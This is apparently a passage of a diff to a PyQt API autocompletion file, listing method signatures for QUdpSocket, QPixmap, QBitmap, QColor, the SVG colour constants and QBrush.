+QtNetwork.QUdpSocket.pendingDatagramSize?4() -> int +QtNetwork.QUdpSocket.readDatagram?4(int) -> (object, QHostAddress, int) +QtNetwork.QUdpSocket.writeDatagram?4(bytes, QHostAddress, int) -> int +QtNetwork.QUdpSocket.writeDatagram?4(QByteArray, QHostAddress, int) -> int +QtNetwork.QUdpSocket.joinMulticastGroup?4(QHostAddress) -> bool +QtNetwork.QUdpSocket.joinMulticastGroup?4(QHostAddress, QNetworkInterface) -> bool +QtNetwork.QUdpSocket.leaveMulticastGroup?4(QHostAddress) -> bool +QtNetwork.QUdpSocket.leaveMulticastGroup?4(QHostAddress, QNetworkInterface) -> bool +QtNetwork.QUdpSocket.multicastInterface?4() -> QNetworkInterface +QtNetwork.QUdpSocket.setMulticastInterface?4(QNetworkInterface) +QtNetwork.QUdpSocket.receiveDatagram?4(int maxSize=-1) -> QNetworkDatagram +QtNetwork.QUdpSocket.writeDatagram?4(QNetworkDatagram) -> int +QtGui.qt_set_sequence_auto_mnemonic?4(bool) +QtGui.qFuzzyCompare?4(QMatrix4x4, QMatrix4x4) -> bool +QtGui.qPixelFormatRgba?4(int, int, int, int, QPixelFormat.AlphaUsage, QPixelFormat.AlphaPosition, QPixelFormat.AlphaPremultiplied premultiplied=QPixelFormat.NotPremultiplied, QPixelFormat.TypeInterpretation typeInterpretation=QPixelFormat.UnsignedInteger) -> QPixelFormat +QtGui.qPixelFormatGrayscale?4(int, QPixelFormat.TypeInterpretation typeInterpretation=QPixelFormat.UnsignedInteger) -> QPixelFormat +QtGui.qPixelFormatCmyk?4(int, int alphaSize=0, QPixelFormat.AlphaUsage alphaUsage=QPixelFormat.IgnoresAlpha, QPixelFormat.AlphaPosition alphaPosition=QPixelFormat.AtBeginning, QPixelFormat.TypeInterpretation typeInterpretation=QPixelFormat.UnsignedInteger) -> QPixelFormat +QtGui.qPixelFormatHsl?4(int, int alphaSize=0, QPixelFormat.AlphaUsage alphaUsage=QPixelFormat.IgnoresAlpha, QPixelFormat.AlphaPosition alphaPosition=QPixelFormat.AtBeginning, QPixelFormat.TypeInterpretation typeInterpretation=QPixelFormat.FloatingPoint) -> QPixelFormat +QtGui.qPixelFormatHsv?4(int, int alphaSize=0, QPixelFormat.AlphaUsage alphaUsage=QPixelFormat.IgnoresAlpha, QPixelFormat.AlphaPosition alphaPosition=QPixelFormat.AtBeginning, QPixelFormat.TypeInterpretation typeInterpretation=QPixelFormat.FloatingPoint) -> QPixelFormat +QtGui.qPixelFormatYuv?4(QPixelFormat.YUVLayout, int alphaSize=0, QPixelFormat.AlphaUsage alphaUsage=QPixelFormat.IgnoresAlpha, QPixelFormat.AlphaPosition alphaPosition=QPixelFormat.AtBeginning, QPixelFormat.AlphaPremultiplied premultiplied=QPixelFormat.NotPremultiplied, QPixelFormat.TypeInterpretation typeInterpretation=QPixelFormat.UnsignedByte, QPixelFormat.ByteOrder byteOrder=QPixelFormat.LittleEndian) -> QPixelFormat +QtGui.qPixelFormatAlpha?4(int, QPixelFormat.TypeInterpretation typeInterpretation=QPixelFormat.UnsignedInteger) -> QPixelFormat +QtGui.qFuzzyCompare?4(QQuaternion, QQuaternion) -> bool +QtGui.qRgba64?4(int, int, int, int) -> QRgba64 +QtGui.qRgba64?4(int) -> QRgba64 +QtGui.qPremultiply?4(QRgba64) -> QRgba64 +QtGui.qUnpremultiply?4(QRgba64) -> QRgba64 +QtGui.qRed?4(QRgba64) -> int +QtGui.qGreen?4(QRgba64) -> int +QtGui.qBlue?4(QRgba64) -> int +QtGui.qAlpha?4(QRgba64) -> int +QtGui.qRed?4(int) -> int +QtGui.qGreen?4(int) -> int +QtGui.qBlue?4(int) -> int +QtGui.qAlpha?4(int) -> int +QtGui.qRgb?4(int, int, int) -> int +QtGui.qRgba?4(int, int, int, int) -> int +QtGui.qGray?4(int, int, int) -> int +QtGui.qGray?4(int) -> int +QtGui.qIsGray?4(int) -> bool +QtGui.qPremultiply?4(int) -> int +QtGui.qUnpremultiply?4(int) -> int +QtGui.qFuzzyCompare?4(QTransform, QTransform) -> bool +QtGui.qFuzzyCompare?4(QVector2D, QVector2D) -> bool +QtGui.qFuzzyCompare?4(QVector3D, QVector3D) -> bool +QtGui.qFuzzyCompare?4(QVector4D, QVector4D) -> bool +QtGui.QAbstractTextDocumentLayout?1(QTextDocument) +QtGui.QAbstractTextDocumentLayout.__init__?1(self, QTextDocument) +QtGui.QAbstractTextDocumentLayout.draw?4(QPainter, QAbstractTextDocumentLayout.PaintContext) +QtGui.QAbstractTextDocumentLayout.hitTest?4(QPointF, Qt.HitTestAccuracy) -> int +QtGui.QAbstractTextDocumentLayout.anchorAt?4(QPointF) -> QString +QtGui.QAbstractTextDocumentLayout.pageCount?4() -> int +QtGui.QAbstractTextDocumentLayout.documentSize?4() -> QSizeF +QtGui.QAbstractTextDocumentLayout.frameBoundingRect?4(QTextFrame) -> QRectF +QtGui.QAbstractTextDocumentLayout.blockBoundingRect?4(QTextBlock) -> QRectF +QtGui.QAbstractTextDocumentLayout.setPaintDevice?4(QPaintDevice) +QtGui.QAbstractTextDocumentLayout.paintDevice?4() -> QPaintDevice +QtGui.QAbstractTextDocumentLayout.document?4() -> QTextDocument +QtGui.QAbstractTextDocumentLayout.registerHandler?4(int, QObject) +QtGui.QAbstractTextDocumentLayout.unregisterHandler?4(int, QObject component=None) +QtGui.QAbstractTextDocumentLayout.handlerForObject?4(int) -> QTextObjectInterface +QtGui.QAbstractTextDocumentLayout.update?4(QRectF rect=QRectF(0,0,1e+09,1e+09)) +QtGui.QAbstractTextDocumentLayout.documentSizeChanged?4(QSizeF) +QtGui.QAbstractTextDocumentLayout.pageCountChanged?4(int) +QtGui.QAbstractTextDocumentLayout.updateBlock?4(QTextBlock) +QtGui.QAbstractTextDocumentLayout.documentChanged?4(int, int, int) +QtGui.QAbstractTextDocumentLayout.resizeInlineObject?4(QTextInlineObject, int, QTextFormat) +QtGui.QAbstractTextDocumentLayout.positionInlineObject?4(QTextInlineObject, int, QTextFormat) +QtGui.QAbstractTextDocumentLayout.drawInlineObject?4(QPainter, QRectF, QTextInlineObject, int, QTextFormat) +QtGui.QAbstractTextDocumentLayout.format?4(int) -> QTextCharFormat +QtGui.QAbstractTextDocumentLayout.imageAt?4(QPointF) -> QString +QtGui.QAbstractTextDocumentLayout.formatAt?4(QPointF) -> QTextFormat +QtGui.QAbstractTextDocumentLayout.blockWithMarkerAt?4(QPointF) -> QTextBlock +QtGui.QAbstractTextDocumentLayout.Selection.cursor?7 +QtGui.QAbstractTextDocumentLayout.Selection.format?7 +QtGui.QAbstractTextDocumentLayout.Selection?1() +QtGui.QAbstractTextDocumentLayout.Selection.__init__?1(self) +QtGui.QAbstractTextDocumentLayout.Selection?1(QAbstractTextDocumentLayout.Selection) +QtGui.QAbstractTextDocumentLayout.Selection.__init__?1(self, QAbstractTextDocumentLayout.Selection) +QtGui.QAbstractTextDocumentLayout.PaintContext.clip?7 +QtGui.QAbstractTextDocumentLayout.PaintContext.cursorPosition?7 +QtGui.QAbstractTextDocumentLayout.PaintContext.palette?7 +QtGui.QAbstractTextDocumentLayout.PaintContext.selections?7 +QtGui.QAbstractTextDocumentLayout.PaintContext?1() +QtGui.QAbstractTextDocumentLayout.PaintContext.__init__?1(self) +QtGui.QAbstractTextDocumentLayout.PaintContext?1(QAbstractTextDocumentLayout.PaintContext) +QtGui.QAbstractTextDocumentLayout.PaintContext.__init__?1(self, QAbstractTextDocumentLayout.PaintContext) +QtGui.QTextObjectInterface?1() +QtGui.QTextObjectInterface.__init__?1(self) +QtGui.QTextObjectInterface?1(QTextObjectInterface) +QtGui.QTextObjectInterface.__init__?1(self, QTextObjectInterface) +QtGui.QTextObjectInterface.intrinsicSize?4(QTextDocument, int, QTextFormat) -> QSizeF +QtGui.QTextObjectInterface.drawObject?4(QPainter, QRectF, QTextDocument, int, QTextFormat) +QtGui.QBackingStore?1(QWindow) +QtGui.QBackingStore.__init__?1(self, QWindow) +QtGui.QBackingStore.window?4() -> QWindow +QtGui.QBackingStore.paintDevice?4() -> QPaintDevice +QtGui.QBackingStore.flush?4(QRegion, QWindow window=None, QPoint offset=QPoint()) +QtGui.QBackingStore.resize?4(QSize) +QtGui.QBackingStore.size?4() -> QSize +QtGui.QBackingStore.scroll?4(QRegion, int, int) -> bool +QtGui.QBackingStore.beginPaint?4(QRegion) +QtGui.QBackingStore.endPaint?4() +QtGui.QBackingStore.setStaticContents?4(QRegion) +QtGui.QBackingStore.staticContents?4() -> QRegion +QtGui.QBackingStore.hasStaticContents?4() -> bool +QtGui.QPaintDevice.PaintDeviceMetric?10 +QtGui.QPaintDevice.PaintDeviceMetric.PdmWidth?10 +QtGui.QPaintDevice.PaintDeviceMetric.PdmHeight?10 +QtGui.QPaintDevice.PaintDeviceMetric.PdmWidthMM?10 +QtGui.QPaintDevice.PaintDeviceMetric.PdmHeightMM?10 +QtGui.QPaintDevice.PaintDeviceMetric.PdmNumColors?10 +QtGui.QPaintDevice.PaintDeviceMetric.PdmDepth?10 +QtGui.QPaintDevice.PaintDeviceMetric.PdmDpiX?10 +QtGui.QPaintDevice.PaintDeviceMetric.PdmDpiY?10 +QtGui.QPaintDevice.PaintDeviceMetric.PdmPhysicalDpiX?10 +QtGui.QPaintDevice.PaintDeviceMetric.PdmPhysicalDpiY?10 +QtGui.QPaintDevice.PaintDeviceMetric.PdmDevicePixelRatio?10 +QtGui.QPaintDevice.PaintDeviceMetric.PdmDevicePixelRatioScaled?10 +QtGui.QPaintDevice?1() +QtGui.QPaintDevice.__init__?1(self) +QtGui.QPaintDevice.paintEngine?4() -> QPaintEngine +QtGui.QPaintDevice.width?4() -> int +QtGui.QPaintDevice.height?4() -> int +QtGui.QPaintDevice.widthMM?4() -> int +QtGui.QPaintDevice.heightMM?4() -> int +QtGui.QPaintDevice.logicalDpiX?4() -> int +QtGui.QPaintDevice.logicalDpiY?4() -> int +QtGui.QPaintDevice.physicalDpiX?4() -> int +QtGui.QPaintDevice.physicalDpiY?4() -> int +QtGui.QPaintDevice.depth?4() -> int +QtGui.QPaintDevice.paintingActive?4() -> bool +QtGui.QPaintDevice.colorCount?4() -> int +QtGui.QPaintDevice.devicePixelRatio?4() -> int +QtGui.QPaintDevice.metric?4(QPaintDevice.PaintDeviceMetric) -> int +QtGui.QPaintDevice.devicePixelRatioF?4() -> float +QtGui.QPaintDevice.devicePixelRatioFScale?4() -> float +QtGui.QPixmap?1() +QtGui.QPixmap.__init__?1(self) +QtGui.QPixmap?1(int, int) +QtGui.QPixmap.__init__?1(self, int, int) +QtGui.QPixmap?1(QSize) +QtGui.QPixmap.__init__?1(self, QSize) +QtGui.QPixmap?1(QString, str format=None, Qt.ImageConversionFlags flags=Qt.ImageConversionFlag.AutoColor) +QtGui.QPixmap.__init__?1(self, QString, str format=None, Qt.ImageConversionFlags flags=Qt.ImageConversionFlag.AutoColor) +QtGui.QPixmap?1(list) +QtGui.QPixmap.__init__?1(self, list) +QtGui.QPixmap?1(QPixmap) +QtGui.QPixmap.__init__?1(self, QPixmap) +QtGui.QPixmap?1(QVariant) +QtGui.QPixmap.__init__?1(self, QVariant) +QtGui.QPixmap.isNull?4() -> bool +QtGui.QPixmap.devType?4() -> int +QtGui.QPixmap.width?4() -> int +QtGui.QPixmap.height?4() -> int +QtGui.QPixmap.size?4() -> QSize +QtGui.QPixmap.rect?4() -> QRect +QtGui.QPixmap.depth?4() -> int +QtGui.QPixmap.defaultDepth?4() -> int +QtGui.QPixmap.fill?4(QColor color=Qt.GlobalColor.white) +QtGui.QPixmap.mask?4() -> QBitmap +QtGui.QPixmap.setMask?4(QBitmap) +QtGui.QPixmap.hasAlpha?4() -> bool +QtGui.QPixmap.hasAlphaChannel?4() -> bool +QtGui.QPixmap.createHeuristicMask?4(bool clipTight=True) -> QBitmap +QtGui.QPixmap.createMaskFromColor?4(QColor, Qt.MaskMode mode=Qt.MaskInColor) -> QBitmap +QtGui.QPixmap.scaled?4(int, int, Qt.AspectRatioMode aspectRatioMode=Qt.IgnoreAspectRatio, Qt.TransformationMode transformMode=Qt.FastTransformation) -> QPixmap +QtGui.QPixmap.scaled?4(QSize, Qt.AspectRatioMode aspectRatioMode=Qt.IgnoreAspectRatio, Qt.TransformationMode transformMode=Qt.FastTransformation) -> QPixmap +QtGui.QPixmap.scaledToWidth?4(int, Qt.TransformationMode mode=Qt.FastTransformation) -> QPixmap +QtGui.QPixmap.scaledToHeight?4(int, Qt.TransformationMode mode=Qt.FastTransformation) -> QPixmap +QtGui.QPixmap.toImage?4() -> QImage +QtGui.QPixmap.fromImage?4(QImage, Qt.ImageConversionFlags flags=Qt.AutoColor) -> QPixmap +QtGui.QPixmap.fromImageReader?4(QImageReader, Qt.ImageConversionFlags flags=Qt.AutoColor) -> QPixmap +QtGui.QPixmap.convertFromImage?4(QImage, Qt.ImageConversionFlags flags=Qt.AutoColor) -> bool +QtGui.QPixmap.load?4(QString, str format=None, Qt.ImageConversionFlags flags=Qt.AutoColor) -> bool +QtGui.QPixmap.loadFromData?4(bytes, str format=None, Qt.ImageConversionFlags flags=Qt.AutoColor) -> bool +QtGui.QPixmap.loadFromData?4(QByteArray, str format=None, Qt.ImageConversionFlags flags=Qt.AutoColor) -> bool +QtGui.QPixmap.save?4(QString, str format=None, int quality=-1) -> bool +QtGui.QPixmap.save?4(QIODevice, str format=None, int quality=-1) -> bool +QtGui.QPixmap.copy?4(QRect rect=QRect()) -> QPixmap +QtGui.QPixmap.detach?4() +QtGui.QPixmap.isQBitmap?4() -> bool +QtGui.QPixmap.paintEngine?4() -> QPaintEngine +QtGui.QPixmap.metric?4(QPaintDevice.PaintDeviceMetric) -> int +QtGui.QPixmap.copy?4(int, int, int, int) -> QPixmap +QtGui.QPixmap.transformed?4(QTransform, Qt.TransformationMode mode=Qt.FastTransformation) -> QPixmap +QtGui.QPixmap.trueMatrix?4(QTransform, int, int) -> QTransform +QtGui.QPixmap.cacheKey?4() -> int +QtGui.QPixmap.scroll?4(int, int, QRect) -> QRegion +QtGui.QPixmap.scroll?4(int, int, int, int, int, int) -> QRegion +QtGui.QPixmap.swap?4(QPixmap) +QtGui.QPixmap.devicePixelRatio?4() -> float +QtGui.QPixmap.setDevicePixelRatio?4(float) +QtGui.QBitmap?1() +QtGui.QBitmap.__init__?1(self) +QtGui.QBitmap?1(QBitmap) +QtGui.QBitmap.__init__?1(self, QBitmap) +QtGui.QBitmap?1(QPixmap) +QtGui.QBitmap.__init__?1(self, QPixmap) +QtGui.QBitmap?1(int, int) +QtGui.QBitmap.__init__?1(self, int, int) +QtGui.QBitmap?1(QSize) +QtGui.QBitmap.__init__?1(self, QSize) +QtGui.QBitmap?1(QString, str format=None) +QtGui.QBitmap.__init__?1(self, QString, str format=None) +QtGui.QBitmap?1(QVariant) +QtGui.QBitmap.__init__?1(self, QVariant) +QtGui.QBitmap.clear?4() +QtGui.QBitmap.fromImage?4(QImage, Qt.ImageConversionFlags flags=Qt.ImageConversionFlag.AutoColor) -> QBitmap +QtGui.QBitmap.fromData?4(QSize, bytes, QImage.Format format=QImage.Format_MonoLSB) -> QBitmap +QtGui.QBitmap.transformed?4(QTransform) -> QBitmap +QtGui.QBitmap.swap?4(QBitmap) +QtGui.QColor.NameFormat?10 +QtGui.QColor.NameFormat.HexRgb?10 +QtGui.QColor.NameFormat.HexArgb?10 +QtGui.QColor.Spec?10 +QtGui.QColor.Spec.Invalid?10 +QtGui.QColor.Spec.Rgb?10 +QtGui.QColor.Spec.Hsv?10 +QtGui.QColor.Spec.Cmyk?10 +QtGui.QColor.Spec.Hsl?10 +QtGui.QColor.Spec.ExtendedRgb?10 +QtGui.QColor?1(Qt.GlobalColor) +QtGui.QColor.__init__?1(self, Qt.GlobalColor) +QtGui.QColor?1(int) +QtGui.QColor.__init__?1(self, int) +QtGui.QColor?1(QRgba64) +QtGui.QColor.__init__?1(self, QRgba64) +QtGui.QColor?1(QVariant) +QtGui.QColor.__init__?1(self, QVariant) +QtGui.QColor?1() +QtGui.QColor.__init__?1(self) +QtGui.QColor?1(int, int, int, int alpha=255) +QtGui.QColor.__init__?1(self, int, int, int, int alpha=255) +QtGui.QColor?1(QString) +QtGui.QColor.__init__?1(self, QString) +QtGui.QColor?1(QColor) +QtGui.QColor.__init__?1(self, QColor) +QtGui.QColor.name?4() -> QString +QtGui.QColor.setNamedColor?4(QString) +QtGui.QColor.colorNames?4() -> QStringList +QtGui.QColor.spec?4() -> QColor.Spec +QtGui.QColor.alpha?4() -> int +QtGui.QColor.setAlpha?4(int) +QtGui.QColor.alphaF?4() -> float +QtGui.QColor.setAlphaF?4(float) +QtGui.QColor.red?4() -> int +QtGui.QColor.green?4() -> int +QtGui.QColor.blue?4() -> int +QtGui.QColor.setRed?4(int) +QtGui.QColor.setGreen?4(int) +QtGui.QColor.setBlue?4(int) +QtGui.QColor.redF?4() -> float +QtGui.QColor.greenF?4() -> float +QtGui.QColor.blueF?4() -> float +QtGui.QColor.setRedF?4(float) +QtGui.QColor.setGreenF?4(float) +QtGui.QColor.setBlueF?4(float) +QtGui.QColor.getRgb?4() -> (int, int, int, int) +QtGui.QColor.setRgb?4(int, int, int, int alpha=255) +QtGui.QColor.getRgbF?4() -> (float, float, float, float) +QtGui.QColor.setRgbF?4(float, float, float, float alpha=1) +QtGui.QColor.rgba?4() -> int +QtGui.QColor.setRgba?4(int) +QtGui.QColor.rgb?4() -> int +QtGui.QColor.setRgb?4(int) +QtGui.QColor.hue?4() -> int +QtGui.QColor.saturation?4() -> int +QtGui.QColor.value?4() -> int +QtGui.QColor.hueF?4() -> float +QtGui.QColor.saturationF?4() -> float +QtGui.QColor.valueF?4() -> float +QtGui.QColor.getHsv?4() -> (int, int, int, int) +QtGui.QColor.setHsv?4(int, int, int, int alpha=255) +QtGui.QColor.getHsvF?4() -> (float, float, float, float) +QtGui.QColor.setHsvF?4(float, float, float, float alpha=1) +QtGui.QColor.cyan?4() -> int +QtGui.QColor.magenta?4() -> int +QtGui.QColor.yellow?4() -> int +QtGui.QColor.black?4() -> int +QtGui.QColor.cyanF?4() -> float +QtGui.QColor.magentaF?4() -> float +QtGui.QColor.yellowF?4() -> float +QtGui.QColor.blackF?4() -> float +QtGui.QColor.getCmyk?4() -> (int, int, int, int, int) +QtGui.QColor.setCmyk?4(int, int, int, int, int alpha=255) +QtGui.QColor.getCmykF?4() -> (float, float, float, float, float) +QtGui.QColor.setCmykF?4(float, float, float, float, float alpha=1) +QtGui.QColor.toRgb?4() -> QColor +QtGui.QColor.toHsv?4() -> QColor +QtGui.QColor.toCmyk?4() -> QColor +QtGui.QColor.convertTo?4(QColor.Spec) -> QColor +QtGui.QColor.fromRgb?4(int) -> QColor +QtGui.QColor.fromRgba?4(int) -> QColor +QtGui.QColor.fromRgb?4(int, int, int, int alpha=255) -> QColor +QtGui.QColor.fromRgbF?4(float, float, float, float alpha=1) -> QColor +QtGui.QColor.fromHsv?4(int, int, int, int alpha=255) -> QColor +QtGui.QColor.fromHsvF?4(float, float, float, float alpha=1) -> QColor +QtGui.QColor.fromCmyk?4(int, int, int, int, int alpha=255) -> QColor +QtGui.QColor.fromCmykF?4(float, float, float, float, float alpha=1) -> QColor +QtGui.QColor.isValid?4() -> bool +QtGui.QColor.lighter?4(int factor=150) -> QColor +QtGui.QColor.darker?4(int factor=200) -> QColor +QtGui.QColor.hsvHue?4() -> int +QtGui.QColor.hsvSaturation?4() -> int +QtGui.QColor.hsvHueF?4() -> float +QtGui.QColor.hsvSaturationF?4() -> float +QtGui.QColor.hslHue?4() -> int +QtGui.QColor.hslSaturation?4() -> int +QtGui.QColor.lightness?4() -> int +QtGui.QColor.hslHueF?4() -> float +QtGui.QColor.hslSaturationF?4() -> float +QtGui.QColor.lightnessF?4() -> float +QtGui.QColor.getHsl?4() -> (int, int, int, int) +QtGui.QColor.setHsl?4(int, int, int, int alpha=255) +QtGui.QColor.getHslF?4() -> (float, float, float, float) +QtGui.QColor.setHslF?4(float, float, float, float alpha=1) +QtGui.QColor.toHsl?4() -> QColor +QtGui.QColor.fromHsl?4(int, int, int, int alpha=255) -> QColor +QtGui.QColor.fromHslF?4(float, float, float, float alpha=1) -> QColor +QtGui.QColor.isValidColor?4(QString) -> bool +QtGui.QColor.name?4(QColor.NameFormat) -> QString +QtGui.QColor.rgba64?4() -> QRgba64 +QtGui.QColor.setRgba64?4(QRgba64) +QtGui.QColor.fromRgba64?4(int, int, int, int alpha=65535) -> QColor +QtGui.QColor.fromRgba64?4(QRgba64) -> QColor +QtGui.QColor.toExtendedRgb?4() -> QColor +QtGui.QColorConstants.Black?7 +QtGui.QColorConstants.Blue?7 +QtGui.QColorConstants.Color0?7 +QtGui.QColorConstants.Color1?7 +QtGui.QColorConstants.Cyan?7 +QtGui.QColorConstants.DarkBlue?7 +QtGui.QColorConstants.DarkCyan?7 +QtGui.QColorConstants.DarkGray?7 +QtGui.QColorConstants.DarkGreen?7 +QtGui.QColorConstants.DarkMagenta?7 +QtGui.QColorConstants.DarkRed?7 +QtGui.QColorConstants.DarkYellow?7 +QtGui.QColorConstants.Gray?7 +QtGui.QColorConstants.Green?7 +QtGui.QColorConstants.LightGray?7 +QtGui.QColorConstants.Magenta?7 +QtGui.QColorConstants.Red?7 +QtGui.QColorConstants.Transparent?7 +QtGui.QColorConstants.White?7 +QtGui.QColorConstants.Yellow?7 +QtGui.QColorConstants.Svg.aliceblue?7 +QtGui.QColorConstants.Svg.antiquewhite?7 +QtGui.QColorConstants.Svg.aqua?7 +QtGui.QColorConstants.Svg.aquamarine?7 +QtGui.QColorConstants.Svg.azure?7 +QtGui.QColorConstants.Svg.beige?7 +QtGui.QColorConstants.Svg.bisque?7 +QtGui.QColorConstants.Svg.black?7 +QtGui.QColorConstants.Svg.blanchedalmond?7 +QtGui.QColorConstants.Svg.blue?7 +QtGui.QColorConstants.Svg.blueviolet?7 +QtGui.QColorConstants.Svg.brown?7 +QtGui.QColorConstants.Svg.burlywood?7 +QtGui.QColorConstants.Svg.cadetblue?7 +QtGui.QColorConstants.Svg.chartreuse?7 +QtGui.QColorConstants.Svg.chocolate?7 +QtGui.QColorConstants.Svg.coral?7 +QtGui.QColorConstants.Svg.cornflowerblue?7 +QtGui.QColorConstants.Svg.cornsilk?7 +QtGui.QColorConstants.Svg.crimson?7 +QtGui.QColorConstants.Svg.cyan?7 +QtGui.QColorConstants.Svg.darkblue?7 +QtGui.QColorConstants.Svg.darkcyan?7 +QtGui.QColorConstants.Svg.darkgoldenrod?7 +QtGui.QColorConstants.Svg.darkgray?7 +QtGui.QColorConstants.Svg.darkgreen?7 +QtGui.QColorConstants.Svg.darkgrey?7 +QtGui.QColorConstants.Svg.darkkhaki?7 +QtGui.QColorConstants.Svg.darkmagenta?7 +QtGui.QColorConstants.Svg.darkolivegreen?7 +QtGui.QColorConstants.Svg.darkorange?7 +QtGui.QColorConstants.Svg.darkorchid?7 +QtGui.QColorConstants.Svg.darkred?7 +QtGui.QColorConstants.Svg.darksalmon?7 +QtGui.QColorConstants.Svg.darkseagreen?7 +QtGui.QColorConstants.Svg.darkslateblue?7 +QtGui.QColorConstants.Svg.darkslategray?7 +QtGui.QColorConstants.Svg.darkslategrey?7 +QtGui.QColorConstants.Svg.darkturquoise?7 +QtGui.QColorConstants.Svg.darkviolet?7 +QtGui.QColorConstants.Svg.deeppink?7 +QtGui.QColorConstants.Svg.deepskyblue?7 +QtGui.QColorConstants.Svg.dimgray?7 +QtGui.QColorConstants.Svg.dimgrey?7 +QtGui.QColorConstants.Svg.dodgerblue?7 +QtGui.QColorConstants.Svg.firebrick?7 +QtGui.QColorConstants.Svg.floralwhite?7 +QtGui.QColorConstants.Svg.forestgreen?7 +QtGui.QColorConstants.Svg.fuchsia?7 +QtGui.QColorConstants.Svg.gainsboro?7 +QtGui.QColorConstants.Svg.ghostwhite?7 +QtGui.QColorConstants.Svg.gold?7 +QtGui.QColorConstants.Svg.goldenrod?7 +QtGui.QColorConstants.Svg.gray?7 +QtGui.QColorConstants.Svg.green?7 +QtGui.QColorConstants.Svg.greenyellow?7 +QtGui.QColorConstants.Svg.grey?7 +QtGui.QColorConstants.Svg.honeydew?7 +QtGui.QColorConstants.Svg.hotpink?7 +QtGui.QColorConstants.Svg.indianred?7 +QtGui.QColorConstants.Svg.indigo?7 +QtGui.QColorConstants.Svg.ivory?7 +QtGui.QColorConstants.Svg.khaki?7 +QtGui.QColorConstants.Svg.lavender?7 +QtGui.QColorConstants.Svg.lavenderblush?7 +QtGui.QColorConstants.Svg.lawngreen?7 +QtGui.QColorConstants.Svg.lemonchiffon?7 +QtGui.QColorConstants.Svg.lightblue?7 +QtGui.QColorConstants.Svg.lightcoral?7 +QtGui.QColorConstants.Svg.lightcyan?7 +QtGui.QColorConstants.Svg.lightgoldenrodyellow?7 +QtGui.QColorConstants.Svg.lightgray?7 +QtGui.QColorConstants.Svg.lightgreen?7 +QtGui.QColorConstants.Svg.lightgrey?7 +QtGui.QColorConstants.Svg.lightpink?7 +QtGui.QColorConstants.Svg.lightsalmon?7 +QtGui.QColorConstants.Svg.lightseagreen?7 +QtGui.QColorConstants.Svg.lightskyblue?7 +QtGui.QColorConstants.Svg.lightslategray?7 +QtGui.QColorConstants.Svg.lightslategrey?7 +QtGui.QColorConstants.Svg.lightsteelblue?7 +QtGui.QColorConstants.Svg.lightyellow?7 +QtGui.QColorConstants.Svg.lime?7 +QtGui.QColorConstants.Svg.limegreen?7 +QtGui.QColorConstants.Svg.linen?7 +QtGui.QColorConstants.Svg.magenta?7 +QtGui.QColorConstants.Svg.maroon?7 +QtGui.QColorConstants.Svg.mediumaquamarine?7 +QtGui.QColorConstants.Svg.mediumblue?7 +QtGui.QColorConstants.Svg.mediumorchid?7 +QtGui.QColorConstants.Svg.mediumpurple?7 +QtGui.QColorConstants.Svg.mediumseagreen?7 +QtGui.QColorConstants.Svg.mediumslateblue?7 +QtGui.QColorConstants.Svg.mediumspringgreen?7 +QtGui.QColorConstants.Svg.mediumturquoise?7 +QtGui.QColorConstants.Svg.mediumvioletred?7 +QtGui.QColorConstants.Svg.midnightblue?7 +QtGui.QColorConstants.Svg.mintcream?7 +QtGui.QColorConstants.Svg.mistyrose?7 +QtGui.QColorConstants.Svg.moccasin?7 +QtGui.QColorConstants.Svg.navajowhite?7 +QtGui.QColorConstants.Svg.navy?7 +QtGui.QColorConstants.Svg.oldlace?7 +QtGui.QColorConstants.Svg.olive?7 +QtGui.QColorConstants.Svg.olivedrab?7 +QtGui.QColorConstants.Svg.orange?7 +QtGui.QColorConstants.Svg.orangered?7 +QtGui.QColorConstants.Svg.orchid?7 +QtGui.QColorConstants.Svg.palegoldenrod?7 +QtGui.QColorConstants.Svg.palegreen?7 +QtGui.QColorConstants.Svg.paleturquoise?7 +QtGui.QColorConstants.Svg.palevioletred?7 +QtGui.QColorConstants.Svg.papayawhip?7 +QtGui.QColorConstants.Svg.peachpuff?7 +QtGui.QColorConstants.Svg.peru?7 +QtGui.QColorConstants.Svg.pink?7 +QtGui.QColorConstants.Svg.plum?7 +QtGui.QColorConstants.Svg.powderblue?7 +QtGui.QColorConstants.Svg.purple?7 +QtGui.QColorConstants.Svg.red?7 +QtGui.QColorConstants.Svg.rosybrown?7 +QtGui.QColorConstants.Svg.royalblue?7 +QtGui.QColorConstants.Svg.saddlebrown?7 +QtGui.QColorConstants.Svg.salmon?7 +QtGui.QColorConstants.Svg.sandybrown?7 +QtGui.QColorConstants.Svg.seagreen?7 +QtGui.QColorConstants.Svg.seashell?7 +QtGui.QColorConstants.Svg.sienna?7 +QtGui.QColorConstants.Svg.silver?7 +QtGui.QColorConstants.Svg.skyblue?7 +QtGui.QColorConstants.Svg.slateblue?7 +QtGui.QColorConstants.Svg.slategray?7 +QtGui.QColorConstants.Svg.slategrey?7 +QtGui.QColorConstants.Svg.snow?7 +QtGui.QColorConstants.Svg.springgreen?7 +QtGui.QColorConstants.Svg.steelblue?7 +QtGui.QColorConstants.Svg.tan?7 +QtGui.QColorConstants.Svg.teal?7 +QtGui.QColorConstants.Svg.thistle?7 +QtGui.QColorConstants.Svg.tomato?7 +QtGui.QColorConstants.Svg.turquoise?7 +QtGui.QColorConstants.Svg.violet?7 +QtGui.QColorConstants.Svg.wheat?7 +QtGui.QColorConstants.Svg.white?7 +QtGui.QColorConstants.Svg.whitesmoke?7 +QtGui.QColorConstants.Svg.yellow?7 +QtGui.QColorConstants.Svg.yellowgreen?7 +QtGui.QBrush?1() +QtGui.QBrush.__init__?1(self) +QtGui.QBrush?1(Qt.BrushStyle) +QtGui.QBrush.__init__?1(self, Qt.BrushStyle) +QtGui.QBrush?1(QColor, Qt.BrushStyle style=Qt.SolidPattern) +QtGui.QBrush.__init__?1(self, QColor, Qt.BrushStyle style=Qt.SolidPattern) +QtGui.QBrush?1(QColor, QPixmap) +QtGui.QBrush.__init__?1(self, QColor, QPixmap) +QtGui.QBrush?1(QPixmap) +QtGui.QBrush.__init__?1(self, QPixmap) +QtGui.QBrush?1(QImage) +QtGui.QBrush.__init__?1(self, QImage) +QtGui.QBrush?1(QBrush) +QtGui.QBrush.__init__?1(self, QBrush) +QtGui.QBrush?1(QVariant) +QtGui.QBrush.__init__?1(self, QVariant) +QtGui.QBrush.setStyle?4(Qt.BrushStyle) +QtGui.QBrush.texture?4() -> QPixmap +QtGui.QBrush.setTexture?4(QPixmap) +QtGui.QBrush.setColor?4(QColor) +QtGui.QBrush.gradient?4() -> QGradient +QtGui.QBrush.isOpaque?4() -> bool +QtGui.QBrush.setColor?4(Qt.GlobalColor) +QtGui.QBrush.style?4() -> Qt.BrushStyle +QtGui.QBrush.color?4() -> QColor 